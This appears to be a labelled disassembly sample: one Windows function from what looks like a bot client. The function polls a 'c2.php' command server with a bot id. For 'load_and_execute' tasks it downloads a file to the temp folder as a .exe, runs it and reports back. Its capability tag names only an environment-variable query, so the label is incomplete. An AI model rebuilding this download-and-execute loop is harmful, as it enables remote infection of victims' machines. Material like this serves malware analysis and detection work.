Function at 0x140008f00
Capabilities:
Query environment variable

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xc8
xor r13d, r13d
mov r14d, 0x3f
lea rsi, str._c2.php
movabs rdi, 0x6666666666666667
lea r15d, [r14 - 0x10]
nop word [rax + rax]
lea rcx, [rbp - 0x79]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0xc]
call rbx
mov eax, dword [rbp - 0x79]
lea r12, [0x14000d4d5]
mov ecx, dword [rbp - 0x75]
shl rcx, 0x20
or rcx, rax
mov byte [0x14000d4d5], r13b
movabs rax, 0x346dc5d63886594b
mul rcx
movabs rax, 0xfffff568cf499800
shr rdx, 0xb
add rax, rdx
mov r9, rax
mov r8, rax
neg r8
shr r9, 0x3f
test rax, rax
cmovns r8, rax
nop dword [rax]
nop word [rax + rax]
dec r12
mov rax, rdi
imul r8
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r12], r8b
mov r8, rdx
test rdx, rdx
jne 0x140008fc0
test r9d, r9d
je 0x140009002
dec r12
mov byte [r12], 0x2d
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x104
mov rcx, rax
call rbx
mov rbx, rax
test rax, rax
je 0x140009059
cmp rax, rsi
je 0x140009059
mov rdx, rsi
movzx ecx, r15w
sub rdx, rax
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140009040
mov word [rax], r13w
mov rax, rbx
jmp 0x140009062
test rbx, rbx
je 0x1400090ee
cmp word [rbx], r13w
je 0x14000907a
nop dword [rax + rax]
add rax, 2
cmp word [rax], r13w
jne 0x140009070
lea rdx, str._actionfetchcommandbotid
movzx ecx, r14w
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140009090
mov word [rax], r13w
mov rcx, qword [0x14000d438]
test rcx, rcx
je 0x1400090ee
mov rax, rbx
cmp word [rbx], r13w
je 0x1400090ca
nop dword [rax]
add rax, 2
cmp word [rax], r13w
jne 0x1400090c0
movzx edx, word [rcx]
test dx, dx
je 0x1400090e5
mov word [rax], dx
lea rcx, [rcx + 2]
movzx edx, word [rcx]
add rax, 2
test dx, dx
jne 0x1400090d2
mov word [rax], r13w
mov rax, rbx
jmp 0x1400090fa
mov rax, rbx
test rbx, rbx
je 0x140009186
cmp word [rbx], r13w
je 0x14000910a
add rax, 2
cmp word [rax], r13w
jne 0x140009100
lea rdx, str.timestamp
mov ecx, 0x26
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140009120
mov rcx, r12
mov word [rax], r13w
call fcn.1400018c0
mov rdx, rax
test rax, rax
je 0x14000918e
mov rcx, rbx
cmp word [rbx], r13w
je 0x14000915a
nop dword [rax]
add rcx, 2
cmp word [rcx], r13w
jne 0x140009150
movzx eax, word [rax]
test ax, ax
je 0x140009180
sub rdx, rcx
nop word [rax + rax]
mov word [rcx], ax
add rcx, 2
movzx eax, word [rdx + rcx]
test ax, ax
jne 0x140009170
mov word [rcx], r13w
jmp 0x14000918e
mov rcx, r12
call fcn.1400018c0
mov rcx, qword [0x14000d018]
lea rdx, [0x14000aed8]
xor r9d, r9d
mov r8, rbx
call fcn.140001ca0
test rax, rax
je 0x140008f40
mov rcx, rax
call fcn.140001dc0
mov rdi, qword [0x14000d488]
mov r15, rax
mov ebx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call rdi
mov rcx, qword [r15]
test rcx, rcx
je 0x1400092f8
mov eax, dword [r15 + 8]
xor edx, edx
mov qword [rbp - 0x69], rcx
lea rcx, [rbp - 0x69]
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x29], 1
mov qword [rbp - 0x21], r13
mov qword [rbp - 0x19], r13
mov qword [rbp - 0x39], r13
mov qword [rbp - 0x31], r13
mov qword [rbp - 0x51], r13
call fcn.140003ad0
test eax, eax
jne 0x1400092f8
lea rcx, [rbp - 0x69]
call fcn.140002f10
mov r11, qword [rbp - 0x61]
cmp qword [rbp - 0x59], r11
jne 0x1400092f8
mov rsi, qword [rbp - 0x39]
mov rbx, qword [rbp - 0x31]
mov rdi, qword [0x14000d488]
add rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call rdi
mov rdi, rax
test rax, rax
je 0x1400092f8
mov rdx, qword [rbp - 0x51]
lea rcx, [rdi + 0x10]
add rax, rsi
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x29], 1
mov qword [rbp - 0x21], r13
mov qword [rbp - 0x49], rax
test dl, dl
jns 0x1400092a7
lea rax, [rdi + 0x28]
mov qword [rcx], r13
mov qword [rbp - 0x41], rax
mov qword [rdi + 0x18], 1
mov qword [rdi + 0x20], r13
jmp 0x1400092ab
mov qword [rbp - 0x41], rcx
and edx, 4
lea rcx, [rbp - 0x69]
mov r8, rdi
call fcn.140004610
cmp qword [rdi + 8], 2
mov rsi, rdi
jne 0x1400092fe
mov rax, qword [rdi]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400092fe
nop
mov rcx, qword [rbx]
lea rdx, str.task_name
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1400092f2
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400092d0
jmp 0x1400092fe
mov rax, qword [rbx + 8]
jmp 0x140009301
mov rsi, r13
mov rdi, r13
mov rax, r13
mov r14, qword [rax]
mov ecx, 8
add rdi, rcx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rbp + 0x67]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea rdx, str.Response_:
mov r8d, 0xb
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov rbx, qword [r15]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], r13b
jne 0x140009350
lea r9, [rbp + 0x6f]
mov qword [rsp + 0x20], r13
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rbp + 0x77]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea rdx, [0x14000b714]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov rcx, qword [r14]
lea rdx, str.load_and_execute
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140009697
test rsi, rsi
je 0x1400093f4
cmp qword [rdi], 2
jne 0x1400093f4
mov rax, qword [rsi]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400093f4
nop word [rax + rax]
mov rcx, qword [rbx]
lea rdx, str.task_command
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x14000957c
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400093d0
mov rsi, r13
mov rsi, qword [rsi]
mov rdi, qword [0x14000d488]
mov rbx, qword [rsi + 8]
add rbx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call rdi
mov rcx, qword [rsi]
mov r14, rax
call fcn.1400018c0
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x104
mov rcx, rax
call rbx
mov r8d, 0x104
lea rcx, str.temp
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400096a7
lea rdx, [0x14000b7f8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rbp + 0x7f]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea rdx, str.TempFolder_:
mov r8d, 0xd
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], r13b
jne 0x1400094e0
lea r9, [rbp - 9]
mov qword [rsp + 0x20], r13
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rbp - 5]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea rdx, [0x14000b714]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov rbx, qword [0x14000d420]
mov rcx, rdi
call fcn.1400018c0
mov r8, rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov rdx, r14
xor ecx, ecx
call rbx
test eax, eax
jns 0x140009585
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rbp - 1]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea rdx, str.Faild_to_download_the_file
mov r8d, 0x1a
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
jmp 0x140008f1c
mov rsi, qword [rbx + 8]
jmp 0x1400093f7
mov rcx, rdi
call fcn.1400049d0
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x104
mov rcx, rax
call rbx
mov r8, rax
test rax, rax
je 0x1400095e9
lea rax, str._c2.php
cmp r8, rax
je 0x1400095e9
mov rcx, r8
mov edx, 0x2f
sub rax, r8
nop dword [rax]
mov word [rcx], dx
lea rcx, [rcx + 2]
movzx edx, word [rax + rcx]
test dx, dx
jne 0x1400095d0
mov word [rcx], r13w
mov rax, r8
jmp 0x1400095f5
mov rax, r8
test r8, r8
je 0x140009679
cmp word [r8], r13w
je 0x14000960a
nop dword [rax + rax]
add rax, 2
cmp word [rax], r13w
jne 0x140009600
lea rdx, str._actionupdatecommandstatusfinishedbotid
mov ecx, 0x3f
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140009620
mov word [rax], r13w
mov rcx, qword [0x14000d438]
test rcx, rcx
je 0x140009679
mov rax, r8
cmp word [r8], r13w
je 0x14000965a
nop dword [rax]
add rax, 2
cmp word [rax], r13w
jne 0x140009650
movzx edx, word [rcx]
test dx, dx
je 0x140009675
mov word [rax], dx
lea rcx, [rcx + 2]
movzx edx, word [rcx]
add rax, 2
test dx, dx
jne 0x140009662
mov word [rax], r13w
mov rcx, qword [0x14000d018]
lea rdx, [0x14000aed8]
xor r9d, r9d
call fcn.140001ca0
mov rcx, rax
call fcn.140001dc0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140008f1c
add rsp, 0xc8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret